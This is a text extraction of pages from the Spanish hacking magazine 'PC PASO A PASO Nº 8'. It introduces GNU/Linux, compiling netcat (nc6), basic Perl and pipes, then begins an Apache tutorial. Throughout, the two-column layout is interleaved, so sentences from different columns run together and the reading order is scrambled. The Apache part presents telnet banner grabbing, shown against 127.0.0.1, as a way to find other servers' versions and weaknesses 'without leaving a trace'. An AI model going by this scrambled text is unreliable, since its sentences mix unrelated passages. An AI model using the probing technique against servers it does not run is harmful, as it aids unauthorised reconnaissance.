ofrecen la posibilidad de optar por una Slackware, Debian, Knopix, crear un S.O. a tu medida lo hagas si te sientes Gentoo, etc..... Sin olvidar las arriba capaz. Si además puedes fardar delante de la mencionadas. novia o ganar un dinerito con ello, miel sobre hojuelas. Las primeras distros surgen - ¿Cuál es mejor? precisamente como trabajo de particulares Esto es subjetivo. Todo depende de lo que (Slackware con Patrick Volkerding a la quieras hacer. Todas pueden hacer las cabeza), luego surgieron las distros tipo "club- mismas cosas; ahora bien, unas están de-amiguetes-que-se-conocen-en-el-cole-con- concebidas para ser fáciles de manejar a un ganas-de-hacer-cosas" como Jurix, y luego los usuario normal; otras para dotar de la posibilidad miembros del club crecen, les salen hipotecas de adecuar el S.O. a tu hardware de una forma como sabañones y montan empresas que se sencilla, otras para aumentar la seguridad, dedican a lo mismo que hacían pero cobrando: otras para programar..... SuSE. Si eres recién llegado a GNU/LiNUX comienza Este sistema ha venido funcionando muy bien por una en la que no te sientas cohibido por hasta la fecha pues ha mantenido la el cambio (e.d. una que te recuerde mucho a "competencia" entre distribuciones y ha puesto otro S.O. que hayas manejado). Mandrake, en evidencia a los que hace unos años decían RedHat o Suse serán tu opción. que era imposible que saliera nada serio de un grupo de adolescentes desperdigados por - ¿Cuál está en español? el orbe. Así se ha logrado simplificar mucho Todas ellas. Cuando las instalas puedes escoger aspectos como la instalación, la disponibilidad el idioma que desees. de aplicaciones, la disponibilidad de controladores, etc.... - ¿Merece la pena comprarla? En un país en el que aún se sacan navajas por Dicho esto, es fácil de adivinar que si queremos no pagar una ronda, esta pregunta es muy conseguir GNU/LiNUX, debemos de hacernos interesante. Podría parecer que aquel que paga con una distribución. Y es entonces por algo que puede conseguir gratis es, como cuando surgen las cinco preguntas poco, bobo. Pues puede que no lo sea. Hoy estrella: por hoy recomendaría comprar distribuciones a dos tipos de usuario: Por un lado al novatillo - ¿Cuál elijo? desorejado y asustadizo (que hemos sido PC PASO A PASO Nº 8 Página 7
  • 8. GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU todos) que se aferra a los manuales como a Posibilidad D: Revistas sobre GNU/LiNUX. Es un salvavidas: Los paquetes comerciales suelen muy raro que un mes alguna de ellas no regale venir con excelentes manuales, asistencia una distribución. A veces incluso son técnica gratuita durante un año, y el derecho distribuciones que funcionan directamente desde a hacer con todo ello lo que le de la gana. el CD ( live-cd ). Suelen ser muy buena opción Cuando el autor de este artículo comenzó con para echar un vistazo al GNU/LiNUX sin miedo GNU/LiNUX hubiese agradecido, no ya un a cargarnos nada. manual en su idioma vernáculo, sino alguien con quien hablar de ello. Bueno, tras lo dicho, se ve que es muy fácil conseguir una distribución; es más, la mayoría El segundo tipo de usuarios a los que de vosotros seguro que tenéis una cerca del recomendaría gastarse algo de dinero y entre ordenador, pero aún no os sentís con fuerzas los que me reconozco, serían aquellos que para afrontar esas historias tenebrosas que creen en que el Software Libre es una opción habéis oído contar sobre discos duros que se y que debe ser apoyada en la medida de lo estropearon, tarjetas 3D que jamás realizaron posible. su función, escáneres convertidos en estanterías..... Finalmente: Aunque decidas comprarte una caja que pone Nosequé-Linux, la relación Ha llegado el momento de la instalación. calidad/precio será excelente. Aún no he conocido a nadie que se haya arrepentido de 4 - Instalación de GNU/LiNUX comprar una distribución GNU/LiNUX en una tienda. Este tema será tratado en mayor profundidad en números posteriores. De todas formas voy Señalar como dato curioso que precisamente a intentar de dar una descripción general sobre las distribuciones más afines al usuario "normal" la instalación de GNU/LiNUX sin centrarme en son las más comerciales. Pero ojo, aún así ninguna distribución concreta y dar una serie siguen siendo Software Libre. de consejos que puede que sea de utilidad. - ¿Dónde la consigo gratis? 4.1 - No estás sólo. Posibilidad A: En Internet. Hay lugares como En los 8 años que llevo con GNU/LiNUX aún no http://www.linuxiso.org/ o me he encontrado con una distribución que en http://www.rediris.com donde puedes bajarte el propio CD de instalación no traiga la las imágenes de CD-ROM de la mayoría de las documentación necesaria para instalar distribuciones. GNU/LiNUX. Suele ser documentación específica de esa distribución y suele estar disponible en Posibilidad B: Pedírsela a un amigo, conocido varios idiomas. Este es el Punto 0 que a partir o similar... de ahora no nos abandonará nunca: Leer primero la documentación. Se que cuesta. Yo Posibilidad C: Otra manera para los que no también paso de leerla muchas veces. Yo poseen una conexión rápida en casa, es acudir también tengo que leerla tras haberme tirado a los revendedores que te envían contra de los pelos. reembolso los CDs a casa. Es el caso de http://www.opencd.com/ y suele ser una opción Esta documentación suele estar en directorios bastante económica. que se llaman Doc, Documentation, Installation, Página 8 PC PASO A PASO Nº 8
  • 9. GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU Installing, etc.... 4.2 - Preparando el sistema La misión de este excelente artículo es ofrecerte una presentación de lo que significa GNU/LiNUX y Antes de instalar cualquier S.O. conviene proporcionarte los conocimientos mínimos necesarios para recopilar una serie de información sobre nuestro poder comprender (y seguir) los artículos presentados en ordenador con el fin de tenerla a mano en caso este número 8 de PC PASO A PASO (Los Cuadernos de de que la necesitemos durante la instalación. Hack x Crack): NETCAT, Perl y "pipes". Para GNU/LiNUX la información más relevante Si tienes cualquier duda respecto a los temas en los que no suele ser: profundizamos, tienes a tu disposición EL FORO DE HACK X CRACK (www.hackxcrack.com), donde hay una Particiones de disco duro: GNU/LiNUX sección GNU / LiNUX precisamente para que preguntes necesitará de espacio en disco para ser y disfrutes de un mundo que, quizás a día de hoy, instalado. Esto requiere de que dispongamos desconoces. de espacio libre (ojo, con "espacio libre" no nos referimos a los MBs libres en C: o D: sino Tarde o temprano, si sigues leyendo esta revista, te será al espacio no asignado a ninguna partición) en imprescindible tener a mano una instalación de LINUX. el disco. Como este no suele ser el caso común No lo dejes por mas tiempo, decídete YA!!! e inicia de una y el que más dolores de cabeza levanta, vamos vez por todas tu camino en este Sistema Operativo. Esta a asumir desde ahora que tenemos un editorial está convencida de que, si LINUX fuese el Sistema ordenador con un S.O. de Microsoft previamente Operativo "por defecto" y todo el mundo lo conociese, esta instalado y que las particiones creadas por este revista tendría un nivel que nada tiene que ver con lo que ocupan todo el disco duro. has visto/leído hasta ahora. Microsoft te lo pone todo "muy fácil", quizás sí, o no, según se mire; pero te oculta (y casi En este caso tendremos que reparticionar. El imposibilita) la posibilidad de APRENDER y entender el proceso de reparticionar consiste en cambiar funcionamiento de "las cosas". Linux es exactamente lo de tamaño una partición existente (FAT32, contrario, te OBLIGA a comprender el funcionamiento de NTFS, etc...) reduciéndola de tamaño. De esta las cosas, esa es, desde nuestro punto de vista, LA GRAN manera dispondremos de espacio libre en el DIFERENCIA. disco no asignado a ninguna partición. Esta tarea se puede realizar con aplicaciones como Un abrazo a todos los lectores ;) Partition Magic, GNUparted o incluso desde el propio proceso de instalación de alguna distribución GNU/LiNUX como Mandrake. Una vez que hemos obtenido espacio libre en disco debemos de tener en cuenta como se nombran las particiones de disco en GNU/LiNUX ! Comentario de... para utilizar esta información en el futuro. Como heredero que es de sistemas UNiX, GNU/LiNUX accede a cualquier dispositivo La intención de este artículo NO ES explicar a fondo cómo hardware como si de un archivo se tratase. se instala una "distro" de LINUX ni entrar de lleno en Estos archivos que representan al hardware de temas como el "redimensionado" de particiones, la máquina (discos duros, memoria, tarjetas de configuración de la conexión a Internet en Linux, y muchos sonido, etc....) se sitúan en el directorio /dev otros temas. Todo eso ya llegará. :) (dev, como abreviatura de device, en inglés dispositivo ). La manera en que GNU/LiNUX ve PC PASO A PASO Nº 8 Página 9
  • 10. GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU las particiones de un disco duro será la Datos de la red: Tanto si tenemos una red siguiente: montada en casa o una conexión a Internet necesitamos conocer los datos necesarios para Para nombrar un disco duro escribimos configurar nuestra red. /dev/hdXY que corresponde a "/dispostivo/discoduroXY" (disco duro se escribe En próximos artículos realizaremos una hard disk en inglés y su abreviatura es hd), la instalación paso a paso. Advierto que nos X corresponderá a una letra que nos dirá en centraremos en GNU/LiNUX-Debian. Las razones qué canal IDE se encuentra el dispositivo y la para ello son que es una distribución 100% Y corresponderá a un número de partición libre y que su instalación puede ser calificada dentro de ese dispositivo. de "complicada" en comparación con Además, si por ejemplo tenemos una unidad distribuciones como Mandrake, SuSE o RedHat de CD-ROM / DVD, nos referiremos siempre a que son más fáciles de instalar incluso que este tipo de unidades como /dev/hdX, sin el cualquier S.O. de Microsoft. número, dado que dentro de un CD-ROM no podemos realizar particiones. 5 - Ya tenemos GNU/LiNUX instalado; y ¿ahora, qué? Un posible esquema de particiones antes de instalar GNU/LiNUX podría ser el siguiente: Pues a partir de ahora nuestro escenario de trabajo va a ser la consola. La consola es el medio básico de comunicación con un sistema UNiX. Normalmente utilizaremos en la consola una shell o intérprete de comandos. La shell que viene por defecto en la mayoría de los sistemas UNiX es el sh o bash. Para abrir la Imaginemos que en el anterior caso mostrado consola tenemos varias opciones: Si estamos deseamos utilizar parte del espacio del disco en un sistema sin entorno gráfico, la pantalla situado como maestro en el canal IDE 1. mostrará una pantalla similar a esta llamada Reparticionando dicho disco duro dejaríamos pantalla de login: un espacio no asignado de por ejemplo 7GB. En este espacio es donde crearemos particiones Si tenemos GNU/LiNUX. Recomiendo crear estas particiones entorno desde los propios programas de instalación de gráfico, GNU/LiNUX. también se nos pedirá Frecuencias de refresco del monitor: e s t a Otro dato relevante y necesario al configurar información GNU/LiNUX son las frecuencias de antes de refresco horizontal y vertical del monitor, entrar en él y entonces podremos abrir una luego tendremos estos datos a mano. línea de comandos de dos maneras: Se encuentran normalmente en el manual a) Ejecutando un emulador gráfico de terminal del monitor y últimamente no suelen como rlogin, xterm, kterm, gnome-terminal, etc.... ser necesarios dado que la mayoría b) Pulsando la combinación de teclas de las distribuciones lo autodetecta. <Ctrl>+<Alt>+FX donde X puede ser 1, 2, 3, Sí serán necesarios para Debian, Slackware, 4, 5 o 6. Para volver al entorno gráfico tecleamos etc..... <Ctrl>+<Alt>+F7. Página 10 PC PASO A PASO Nº 8
  • 11. GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU Esta pantalla muestra al sistema listo para que normal no puede dañar las partes críticas del introduzcamos nuestro login o nombre de sistema. usuario. Posteriormente se nos pedirá el password de este usuario: En próximos artículos veremos como crear Si hemos nuevos usuarios. metido el nombre de 5.1- Navegando por la shell usuario y el password Una vez que hemos accedido a nuestra cuenta correctos, y el sistema está esperando que le demos entraremos en el sistema; en otro caso, se nos órdenes, debemos de introducir un comando. mostrará un mensaje de error. Una vez dentro del sistema ya hemos accedido a la shell por Una de las cosas a tener en cuenta a partir de defecto. El símbolo $, llamado prompt, que ahora cuando manejemos la línea de comando podemos observar en la línea de comandos de GNU/LiNUX, es que aquí se distingue entre indica que el sistema está listo para aceptar mayúsculas y minúsculas. A esta forma de comandos. comportarse se le denomina case sensitive. Eso quiere decir que no serán lo mismo el comando ls que el comando LS o el archivo carta.txt que Carta.txt o CARTA.TXT. Algunos de los posibles comandos de los que disponemos son: En el ejemplo mostrado se ha utilizado un usuario llamado luis . Este usuario ha podido entrar debido a que es un usuario de este sistema y tiene una cuenta shell. Tener una cuenta es tener un login y un password válidos para acceder al sistema. Normalmente los sistemas GNU/LiNUX permiten crear uno o más usuarios durante la instalación, pero siempre existirá un usuario denominado root y que es el administrador del sistema. Este usuario siempre existirá y su password será establecido durante la instalación. No conviene utilizar habitualmente la cuenta de root, dado que este usuario, por ser el usuario administrador, puede alterar cualquier aspecto del sistema, y si no sabemos muy Tal vez los comandos más importantes sean bien lo que hacemos (e incluso si lo sabemos) dos que no aparece en esta tabla: el comando podremos dañarle irreversiblemente. man y el comando info . Estos comandos nos Es por esto que se recomienda encarecidamente muestran información detallada de casi cualquier el uso de otro usuario, dado que un usuario comando o programa que tengamos instalado PC PASO A PASO Nº 8 Página 11
  • 12. GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU en nuestro sistema. Requieren que esté Entonces tendremos que buscarlo en Internet. instalado el sistema man e info, cosa que ocurre Un buen punto de partida suele ser por defecto. Por ejemplo, si queremos conocer www.google.com/linux. Algunas de estas todas las opciones del comando ls podemos aplicaciones que podemos encontrar en Internet teclear man ls. Otra manera más rápida de ponen a disposición paquetes para determinadas conseguir ayuda suele ser emplear el parámetro distribuciones. En este caso bastaría con bajar help en un comando o programa. Por ejemplo, determinado paquete e instalarlo de la manera ls -help, nos mostrará la ayuda "en línea" de usual. dicho comando. Pero si no encontramos el paquete específico para nuestra distribución o simplemente Una vez que se ha hecho una presentación deseamos generar los ejecutables de manera general de lo que es un sistema GNU/LiNUX, que se acoplen como un guante a nuestro vamos a examinar algunas de sus posibilidades. sistema, la opción sin lugar a dudas que En los siguientes puntos vamos a ver: Cómo debemos tomar es la de bajarnos los códigos utilizar un potente lenguaje de scripting, Perl; fuente del programa. Como alguien del foro cómo instalar y utilizar un programa a partir dice, el secreto está en las fuentes ;o) de su código fuente, netcat; cómo utilizar algunas de las herramientas avanzadas del El medio más común de bajarse el código fuente shell, pipes. de una aplicación es bajarse un archivo tarball comprimido. Tarball significa algo así como bola 6 - Instalando un programa a de estiércol y recibe su nombre de las bolas partir de su código fuente que generan los escarabajos peloteros. La razón de llamar así a este tipo de ficheros es que su Normalmente las distribuciones utilizan como misión es la de almacenar toda una estructura medio de instalación los llamados "paquetes". de directorios y su contenido en un única archivo Estos no son más que un archivo que contiene que llevará la extensión .tar. La razón de hacer todos los archivos binarios (es decir, los esto es que cuando los ordenadores ejecutables y sus librerías) que componen una almacenaban la información en una cinta aplicación, así como información específica magnética, esta carecía de una FAT tal y como sobre dónde se debe de colocar cada uno de la conocemos hoy en día por limitaciones físicas. los archivos que componen el paquete o si la De hecho, en la antigua carrera de informática instalación de un determinado paquete requiere existía una única asignatura que trataba este de la instalación previa de otros (dependencias) tipo de problemas (método Warnier ). o bien si no es compatible con otros (conflictos). Existen varios formatos de paquetes: deb Anécdotas aparte, estos ficheros suelen ser de (Debian), rpm (RedHat/Mandrake/SuSE), ice un gran tamaño, por lo que se les suele (ICE), tgz (Slackware), etc...... Cada distribución comprimir. Si el compresor que se ha utilizado viene con una serie de paquetes en sus CD- para comprimir el archivo tar ha sido el gzip, ROMs y normalmente el proceso de instalarlos obtendremos una archivo con las extensiones consiste, ya sea en un sistema que estamos .tar.gz o .tgz. Si el compresor ha sido compress instalando o en un sistema ya instalado, en el archivo llevará las extensiones tar.Z o tgZ. Y seleccionarlos, resolver las posibles si el compresor utilizado ha sido el moderno dependencias y/o conflictos e instalarlos. bzip2 obtendremos archivos cuya extensión es .tar.bz2 o .tbz. Pero hay ocasiones en las que determinado programa no viene en nuestra distribución. Hoy por hoy los más comunes son los Página 12 PC PASO A PASO Nº 8
  • 13. GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU comprimidos con gzip o bzip2. La manera de programa o librería para poder compilar el descomprimir este tipo de archivos es invocar nuestro se nos dirá en este punto. a tar (programa que sirve para restaurar o crear un archivo tarball) es la siguiente: - Compilar las fuentes e instalarlas: - .tar.gz o tgz: tar xvfz nombre_del_archivo_tarball - .tar.bz2 o tbz: tar xvfj nombre_del_archivo_tarball archivo_fuente_dir $ make archivo_fuente_dir $ su -- Una vez descomprimido el archivo, se nos habrá Password: creado un directorio dentro del cual se ha archivo_fuente_dir # make install restaurado la estructura original que contenía el archivo tarball. Obsérvese que en la última tarea nos hemos convertido en administrador ( su -- ) con el fin A partir de este momento pasamos a la tarea de poder instalar los archivos binarios compilados de compilar el programa, o dicho de otra en su lugar. manera, a la tarea de generar archivos binarios (ejecutables, librerías, etc....) a partir de su A pesar de que, como se ha comentado, esta código fuente. suele ser la secuencia normal a la hora de instalar un programa, conviene que siempre Hasta hace no mucho la tarea de compilar un leamos dos archivos que siempre acompañan programa a partir de su código fuente era una a las fuentes de un programa: README (léame) tarea un tanto ardua que requería de ciertos e INSTALL (instalación). Estos archivos contienen conocimientos del sistema y del compilador información precisa sobre como instalar un utilizados. Esto es debido a que los programas programa concreto. Free Software distribuyen su código fuente de manera que pueda ser compilado en la mayor Ahora vamos a practicar lo visto con un caso parte de las plataformas y SS.OO. existentes. real. Para ello nos vamos a bajar el código fuente del netcat en su versión 6 para poder Afortunadamente de unos años a esta parte compilarlo bajo GNU/LiNUX de la siguiente han surgido herramientas como las autotools d i r e c c i ó n : que simplifican mucho el proceso de generar http://freshmeat.net/projects/nc6/?topic_id=87 una aplicación a partir de su código fuente. Esta versión soporta los protocolos tanto IPv4 Actualmente el proceso de compilación e e IPv6, por si localizamos algún servidor que instalación de una aplicación a partir de su soporte este protocolo. código fuente consta de cuatro pasos: Vamos a bajarnos el archivo nc6-0.4.tar.bz2 por ser el más comprimido y el que menos - Descomprimir el archivo tar y entrar en el tiempo tardará en descargarse. directorio: Una vez descargado, seguimos los pasos arriba descritos: $ tar xvfz archivo_fuente.tgz $ cd archivo_fuente_dir luis@el_chaman $ tar xvfj nc6-0.4.tar.bz2 ……………………………………… - Configurar las fuentes para ser compiladas: luis@el_chaman $ cd nc6-0.4 luis@el_chaman ~/nc6-04 $ ./configure archivo_fuente_dir $ ./configure ……………………………………… luis@el_chaman ~/nc6-04 $ make En caso de que necesitemos instalar algún otro luis@el_chaman ~/nc6-04 $ su -- PC PASO A PASO Nº 8 Página 13
  • 14. GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU Password: que realiza un telnet al puerto 25. Todos los root@el_chaman ~/nc6-04 $ make install ejemplos que se traten o hayan tratado en la revista utilizando netcat los podremos realizar Si todo ha ido bien, en /usr/local/bin tendremos ahora desde nuestro equipo GNU/LiNUX. el ejecutable del netcat: nc6 . 7 - Un lenguaje de scripting en Ahora si quisiéramos conocer el funcionamiento GNU/LiNUX: Perl de este programa teclearíamos A pesar de que las propias shell poseen un root@el_chaman ~/nc6-04 $ nc6 --help potente lenguaje de scripting (sh script, csh script, Usage: ksh script, etc....) muchas veces se opta por nc6 [options...] hostname port nc6 -l -p port [-s addr] [options...] [hostname] [port] utilizar lenguajes de scripting disponibles para más plataformas, o, simplemente más adecuados Recognized options are: para tareas concretas. Este es el caso de Perl -4 Use only IPv4 (Practical Extraction and Report Language) que -6 Use only IPv6 está disponible para casi cualquier plataformas -h, --help Display help y además es un lenguaje de scripting (dado que -l, --listen Listen mode, for inbound connects -n Numeric-only IP addresses, no DNS es interpretado) muy adecuado para tareas de -p, --port=PORT Local source port red así como manejo de archivos o textos. Todo -q, --hold-timeout=SEC1[:SEC2] esto nos interesa mucho dado que podemos Set hold timeout(s) for local [and remote] realizar scripts que realicen tareas potentes -s, --address=ADDRESS sobre red y tener la seguridad de que aunque Local source address lo ejecutemos en distintos SS.OO., funcionarán -t, --idle-timeout=SECONDS Idle connection timeout sin hacer cambio alguno (siempre y cuando -u, --udp Require use of UDP esos SS.OO. tengan instalado un intérprete -v Increase program verbosity (call twice for max Perl) verbosity) Tradicionalmente ha sido el lenguaje con el que -w, --timeout=SECONDS sen hecho la mayoría de los CGIs en la WWW. Timeout for connects/accepts -x, --transfer File transfer mode --recv-only Only receive data, don't transmit Perl viene con casi todas las distribuciones, así --send-only Only transmit data, don't receive que no tendremos que buscar por Internet, --buffer-size=BYTES aunque si somos de los que nos gusta compilarlo Set buffer size desde las fuentes, el lugar que debemos visitar --mtu=BYTES Set MTU for network connection transmits sin lugar a dudas es CPAN (www.cpan.org) --nru=BYTES Set NRU for network connection receives donde podremos encontrar miles de páginas --half-close Handle network half-closes correctly --disable-nagle de documentación, módulos, scripts de ejemplo, Disable nagle algorithm for TCP connections etc..... --no-reuseaddr Disable SO_REUSEADDR socket option (only in Para escribir un script en Perl debemos de crear listen mode) un archivo de texto al que le pondremos la --sndbuf-size Kernel send buffer size for network sockets extensión .pl y cuya primera línea sea --rcvbuf-size Kernel receive buffer size for network sockets --version Display nc6 version information #!/usr/bin/perl Un ejemplo de uso de netcat sería: o la ruta donde tengamos instalado perl. Esta luis@el_chaman $ nc6 localhost 25 es la manera en la que los scripts UNiX llaman Página 14 PC PASO A PASO Nº 8
  • 15. GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU al intérprete adecuado, en este caso el Perl. siguiente manera: $variable=<STDIN>; Haciendo esto, nos ahorramos el tener que Cuando Perl interpreta esta línea, espera a que invocar al intérprete desde la línea de comando, se introduzca un dato y se presione ENTER tal y como hacemos en este ejemplo: (retorno de carro). Ojo que también se lee el ENTER. Para evitar futuros problemas con ello, luis@el_chaman $ perl archivo.pl disponemos de otra función: chop que elimina el último carácter de una cadena de texto. Cosa que también es correcta y podemos hacer. Vista la entrada y salida, va siendo hora de que hagamos nuestro primer programa en Perl. Dicho esto, examinemos algunas características Como no, es un "Hola mundo" :o) : de este lenguaje: #/usr/bin/perl Sintaxis: # Primer programa en Perl print "Deme su nombre: "; Cada línea de comando debe finalizar con $minombre=<STDIN>; punto y coma (;) print "Hola $minombre"; Cada línea de comentarios, sobre las líneas de # Como no hemos eliminado el retorno de carro programación deben iniciar con el símbolo: # # saltará una línea. Si queremos añadir saltos de Los bloques de código de Perl, tales como los # línea, agregamos el carácter 'n' ciclos de control y las condiciones siempre # Imprimimos de nuevo nuestro nombre tras deben encerrarse entre llaves ({..}). eliminarle # el último carácter Variables: chop $minombre; print "$minombre es el mejor n"; Perl utiliza como base el tipo escalar. Un escalar es un tipo de dato que puede ser un entero, La salida de este programa sería: un real o una cadena. Las variables irán siempre precedidas del luis@el_chaman $ perl archivo.pl símbolo $ sin necesidad de ser declaradas al Deme su nombre: Fulanito inicio del programa como puede suceder en Hola Fulanito otros lenguajes como el C. Fulanito es el mejor Ejemplo de utilización de variables en Perl: luis@el_chaman $ $numentero = 6; # un entero Bueno, esta ha sido la presentación del lenguaje $cadena = "11"; # una cadena Perl. Como es obvio nos dejamos muchas cosas $numreal= 4.5; # un real; en el tintero, pero no olvidemos el contexto en el que se realiza. Más adelante profundizaremos Entrada/Salida: en este apasionante lenguaje. A la hora de realizar operaciones de 8 - Pipes (tuberías); fontanería en entrada/salida vamos a disponer de la función nuestra línea de comandos print para imprimir y del dispositivo <STDIN> para la entrada. La entrada, para aquellos que Cualquier programa que utilizamos desde la estéis acostumbrados a otros lenguajes resulta línea de comandos puede ser visto como un cuanto menos curiosa; funcionará asignado sistema de caja negra que por un lado recibe una variable el valor que tecleemos de la información, y por el otro nos ofrece unos PC PASO A PASO Nº 8 Página 15
  • 16. GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU resultados que, por supuesto son también información. Esta manera de comportarse es ! Comentario de... independiente del S.O. que utilicemos. Gráficamente se representaría de la siguiente Comentario de Hack x Crack: Toma buena nota de esta manera: explicación, en otro artículo de este número 8 tenemos un ejemplo práctico :) 9 - Conclusiones Normalmente la información de un programa se recibe por la entrada estándar (teclado) y Este artículo, a pesar de su extensión, ha sido se muestra por la salida estándar (pantalla). una presentación de muchos temas pero poca profundización en ellos. La razón es que muchas Pero en determinadas ocasiones nos podría veces debemos de tener una visión global de interesar tener este esquema: lo que supone tener un S.O. con tantas posibilidades como GNU/LiNUX antes de profundizar en él. He procurado tocar los puntos de GNU/LiNUX que tienen relación con otros artículos de esta revista para de esta manera Es decir, que la salida de un programa fuese percibir mejor las posibilidades e ir la entrada del otro. Pues bien; diversos SS.OO. "enganchando" a algún incauto windowsero entre los que se encuentran UNiX, GNU/LiNUX ;o). y Windows en su línea de comandos proporcionan una herramienta que hace esto: Espero que haya servido de ayuda a alguien y Los pipes (tuberías) cuyo símbolo es | (barra esperemos que en el futuro profundicemos y vertical). presentemos temas que, ay, han quedado obligatoriamente en el disco duro. Ejemplo: Los comandos dir y more realizan respectivamente las siguientes tareas; dir nos Un saludo. lista todos los archivos de un directorio (ls en GNU/LiNUX); more nos muestra página a página Luis U. Rodríguez Paniagua el contenido de un archivo. Dicho de otra manera, dir/ls proporcionan como información de salida un listado de archivos; more necesita como entrada texto a paginar. Si tecleamos: dir | more Windows ls | more GNU/LiNUX El listado generado por dir será visto por more como la información a paginar. Esto es válido para cualquier comando que desde consola necesite o proporcione información. Página 16 PC PASO A PASO Nº 8
  • 17. APACHE Parte II: Configuracion - Comparte tus ficheros mediante web Bienvenidos de nuevo al mundo de APACHE :) En el anterior número instalamos el Servidor Web Apache con los parámetros por defecto, por lo que aún no es recomendable que pongáis el servidor visible al mundo, aunque ya podemos empezar a experimentar ;) Recuerda que no existen muchas diferencias entre el servidor instalado en vuestro ordenador personal y el de un Servidor Comercial (si que existen diferencias pero no tantas). 1. Arrancar y parar Apache ! Sí instalaste... Lo primero que hay que hacer es poner en marcha el servidor Apache, para ello sigue los Si instalaste APACHE en otro directorio, por ejemplo pasos del número 7 de Hack x Crack o mejor c:apacheApache o C:loqueseaApache, no importa, hazlo desde una Ventana de Comandos: simplemente sigue este ejercicio cambiando la ruta. Este artículo está escrito interpretando que el Servidor - Abre una ventana de MSDOS (Shell, ventana Apache está instalado en c:Apache de comandos…), ya hemos explicado en números anteriores una y mil veces como se hace esto de abrir la ya famosa ventanita negra Pon apache.exe -h y obtendrás un listado de ;p. todos los parámetros de entrada que admite - Recorre los el ejecutable apache.exe directorios hasta situarte en el directorio donde instalases el Apache (nosotros lo instalamos en C:Apache). Ya sabes, lo hemos hecho mil veces, en nuestro caso sería introduciendo el comando cd c:Apache (y pulsa enter) - Verás que hay un ejecutable llamado apache.exe, todo esto ya lo vimos en el número anterior. ¿Cómo? ¿Que no ves el archivo apache.exe? Como se nota que no te has leído ni uno solo de nuestros números, venga, Para poner en marcha el apache desde la línea introduce el comando dir y pulsa enter de comandos pon: PC PASO A PASO Nº 8 Página 17
  • 18. APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II Apache.exe -k start como es lógico Apache soluciona los problemas y saca una nueva versión sin los bugs conocidos. Si está todo correcto el servidor se iniciará sin Conocer la versión de Apache te aportará problemas y, como podrás comprobar, la conocer la política del departamento de sistemas ventana del MSDOS no te devuelve el promt propietaria del servidor (las personas que están del sistema (no podrás escribir nada mas en detrás manejando el servidor) y las esta Ventana de Comandos. No cierres la vulnerabilidades del servidor web. ventana, si la cierras el servidor Apache dejará de funcionar. Si el servidor analizado tiene una versión de Para continuar con la práctica Apache antigua quiere decir que el administrador abre una nueva ventana de encargado de mantener el servidor no se está MSDOS, tienes que tener dos preocupando de la seguridad. ¿Ves por donde ventanas abiertas, una con el van los tiros? X) Apache en marcha y otra para que puedas introducir nuevos comandos. Esto Averiguar la versión de Apache de forma es debido a que ya no podemos escribir nada local en la ventana anterior pero necesitamos "hablar" (dar ordenes) con el Servidor APACHE, así que, El ejecutable Apache.exe ofrece un parámetro venga, abre otra "ventanita negra", ves al que te indica la versión de servidor web directorio c:Apache (cd c:Apache) y vamos instalado. Recuerda que tienes que estar situado a parar el servidor. Para ello tienes dos opciones en el directorio donde tienes instalado el que realizan la misma función: Apache.(C:apache) Apache.exe -k stop Apache.exe -v Apache.exe -k shutdown La información que te permite conocer es la A los pocos segundos verás como la ventana versión y fecha de cuando fue compilado por del sistema que no te dejaba escribir ya te última vez. Si te has permite manipularla, quiere decir que el servidor instalado el Apache web ya no está en marcha y se ha liberado la partiendo del capítulo memoria. anterior (revista nº7) tienes que tener la versión Apache/1.3.27 (Win32). Averiguar la versión de Apache de forma remota 2. Conocer la versión de Apache. Conocer la versión de Apache de otras máquinas Cada cierto tiempo Apache saca una nueva es muy sencillo, puedes hallar y de forma muy versión solucionando los bugs, hay que decir rápida y sin dejar rastro tu interés por conocer que Apache es un servidor bastante estable la versión del servidor web de cualquier otro comparado con otros servidores webs como servidor Apache. Para ello vas a utilizar el cliente IIS (de Microsoft). La web oficial de Apache.org Telnet, ya se comentó en el número 7 de Paso ofrece su base de datos de bugs en función a Paso el cliente Telnet por lo que no vamos a del sistema operativo y versión de Apache, repetir el funcionamiento del cliente Telnet. Página 18 PC PASO A PASO Nº 8
  • 19. APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II - APACHE II Simplemente comentarte que el cliente telnet un comando HTTP correcto, pero para averiguar de windows 98 se presenta como una ventana la versión de Apache es suficiente con enviar de windows y no a modo de texto como en cualquier cosa. XP/2000, incluso es más sencillo de utilizar si te estás iniciando en los clientes Telnet. ! Sí utilizas... Ejecutamos el comando de sistema telnet.exe, como verás se abre una ventana sin contenido, Si utilizas el telnet de Windows XP, como en el número 7 con el fondo blanco y con un menú en la parte de Hack x Crack, deberás: superior. Selecciona Sistema remoto del - Abrir una Ventana de Comandos menú desplegable Conectar. - Escribir telnet 127.0.0.1 80 En este momento tendrás ante ti una ventana completamente en negro, sin una sola letra. - Escribir cualquier cosa (aunque no se verá reflejado en la ventana) y pulsar enter. En ese momento verás el mensaje de error y la versión de apache del remoto, como en la imagen ;) En nombre de host puedes poner un dominio o la IP de un servidor. Cambia el puerto, por defecto está el Telnet (puerto 23), cambialo a 80 (es el puerto por Lo que estás haciendo mediante el cliente de defecto del servidor web). El parámetro tipo telnet es conectarte al servidor Apache sin de terminal no hace falta que lo cambies. utilizar el Browser (Internet Explorer o Netscape). Resumiendo, pon los siguientes datos: Esta técnica es muy útil si necesitas conocer las versiones de los servicios que están Nombre de host: 127.0.0.1 de esta forma funcionando en los servidores. Vamos a poner te conectarás a tu propio servidor. un par de ejemplos :) Puerto: 80 (Recuerda iniciar el Servidor Apache antes de EJEMPLO 1: Vamos a averiguar 